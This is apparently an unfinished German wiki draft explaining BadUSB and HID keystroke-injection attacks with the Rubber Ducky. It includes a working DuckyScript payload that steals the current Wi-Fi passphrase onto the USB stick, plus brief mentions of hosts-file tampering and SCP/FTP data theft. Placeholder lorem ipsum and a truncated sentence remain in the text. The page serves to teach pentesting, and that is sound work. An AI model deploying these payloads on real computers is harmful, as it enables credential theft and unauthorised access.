USB-Pentesting

From
Jump to navigation Jump to search

USB-Pentesting: Grundlagen und Gefahren

  1. Bedrohungslandschaft

Die physische Sicherheit von Computersystemen wird in der modernen Cybersicherheit oft zugunsten von netzwerkbasierten Schutzmaßnahmen vernachlässigt. Somit bergen USB-Geräte in der IT-Security ein nicht geringes Risiko, weil diese vom System grundsätzlich als vertrauenswürdig eingestuft werden. USB-Ports sind omnipräsent und genießen innerhalb moderner Betriebssysteme ein nahezu grenzenloses, implizites Vertrauen. So können manipulierte USB-Sticks oder USB-Kabel beispielsweise als HID (Human Interface Devices) auftreten und fast unbemerkt Befehle an den Rechner senden; -ein Angriffsszenario, das als "BadUSB" bekannt ist. Dabei emuliert ein USB-Gerät z.b. eine Tastatur und gibt automatisiert Tastaturbefehle (Keyboard Injection) ein, etwa um eine Konsole zu öffnen und Malware herunterzuladen oder auszuführen. Da Betriebssysteme einem neu eingesteckten Keyboard per Plug & Play ohne weitere Authentifizierung vertrauen, kann so innerhalb von Sekunden volle Kontrolle über einen Rechner erlangt werden. Dieses Vertrauen basiert auf der historischen Notwendigkeit, Peripheriegeräte wie Tastaturen, Mäuse und Speichermedien ohne langwierige Authentifizierungsprozesse schnell und sofort einsatzbereit zu machen. Bekannte Beispiele für BadUSB sind sogenannte "Lost"-USB-Sticks wie meist der "USB Rubber Ducky", welche beim Einstecken sofort Skripte ausführen.


  1. 2. Kernproblematik

Die Kernproblematik liegt im sogenannten "Wolf im Schafspelz"-Prinzip: Ein Gerät, das äußerlich wie ein harmloser Speicherstick aussieht, kann gegenüber dem Host-Betriebssystem jede beliebige Identität annehmen (USB standard lässt einen jede beliebige. Besonders kritisch ist hierbei die Klasse der Human Interface Devices. Da das Betriebssystem davon ausgeht, dass eine Tastatur oder Maus direkt von einem autorisierten menschlichen Benutzer bedient wird, werden die von einem solchen Gerät gesendeten Befehle mit der Berechtigung des aktuell angemeldeten Benutzers ausgeführt. Pentesting-Tools wie der Raspberry Pi Zero W mit der Kali Distro P4wnP1 A.L.O.A. nutzen diese fundamentale Designschwäche des USB-Protokolls aus, um automatisierte Angriffe mit einer Geschwindigkeit durchzuführen, die weit über menschliche Fähigkeiten hinausgeht.

  1. 3. Ziele von BadUSB die sich als HID-Gerät ausgeben
Manipulation von:
> C:\Windows\System32\drivers\etc\hosts
Ermöglicht Man-in-the-Middle-Angriffe (MitM) auf Lokaler ebene durch manipulation der hosts file.
Denn: Die hosts-Datei überschreibt reguläre DNS-Antworten.

Weitere spielerein sind unter anderem:

> SCP Quelle:Ziel | ftp.exe
Um Datendiebstahl zu betreiben


Die Evolution der USB-Bedrohungslandschaft

  1. 1. Ursprung der automatisierten Keystroke-Injektion: *Der Hak5 Rubber Ducky*

Der Grundstein für moderne USB-Angriffe wurde durch den Hak5 Rubber Ducky gelegt. Ursprünglich als einfaches Werkzeug zur Automatisierung von Systemadministratoren gedacht, entwickelte sich das Gerät schnell zum Standard für Penetrationstests. Die erste Generation (Mark 1) nutzte einen 32-Bit Atmel-Mikrocontroller und führte Skripte aus, die auf einer Micro-SD-Karte gespeichert waren.


Die zugrundeliegende Skriptsprache DuckyScript V1 zeichnete sich durch ihre Einfachheit aus. Befehle wie STRING, DELAY und ENTER ermöglichten es, komplexe Tastaturabfolgen vorzuprogrammieren. Mit der Einführung des Rubber Ducky Mark 2 und der Sprache DuckyScript V3 wurde das System erheblich erweitert. V3 bietet heute prozedurale Logik, einschließlich Variablen, Bedingungen (IF/THEN/ELSE) und Schleifen (WHILE), was Angriffe ermöglicht, die dynamisch auf das Zielsystem reagieren.

DuckyScript V1

REM My first payload
DELAY 3000
STRING Hello, World!
ENTER

REM war für Kommentare, DELAY war ein Zeitlicher Delay STRING war [0-9, a-z, A-Z] und SPECIAL_KEY war ENTER, oder auch die Pfeiltasten

REM Example Simple USB Exfiltration Technique for Windows
ATTACKMODE HID STORAGE
DELAY 2000
GUI r
DELAY 100
STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\'$env:computername'.txt'"
ENTER


REM This short Powershell one-liner executes from the Windows Run dialog.
REM The drive letter of the volume with the label “DUCKY” is saved as $m.
REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name).
REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the 
“DUCKY” drive, saved as the computer name (in .txt format).

https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/examples/Exfiltration/Exfiltration-example1.txt



ttt DuckyScript V3

    1. 2.1 SubSubTitel

Mauris sagittis consequat est lacinia accumsan. Vivamus non tempor arcu.



Prefix Field Name Description
MAN_ iManufacturer 16 alphanumeric characters
PROD_ iProduct 16 alphanumeric characters
SERIAL_ iSerial 12 digits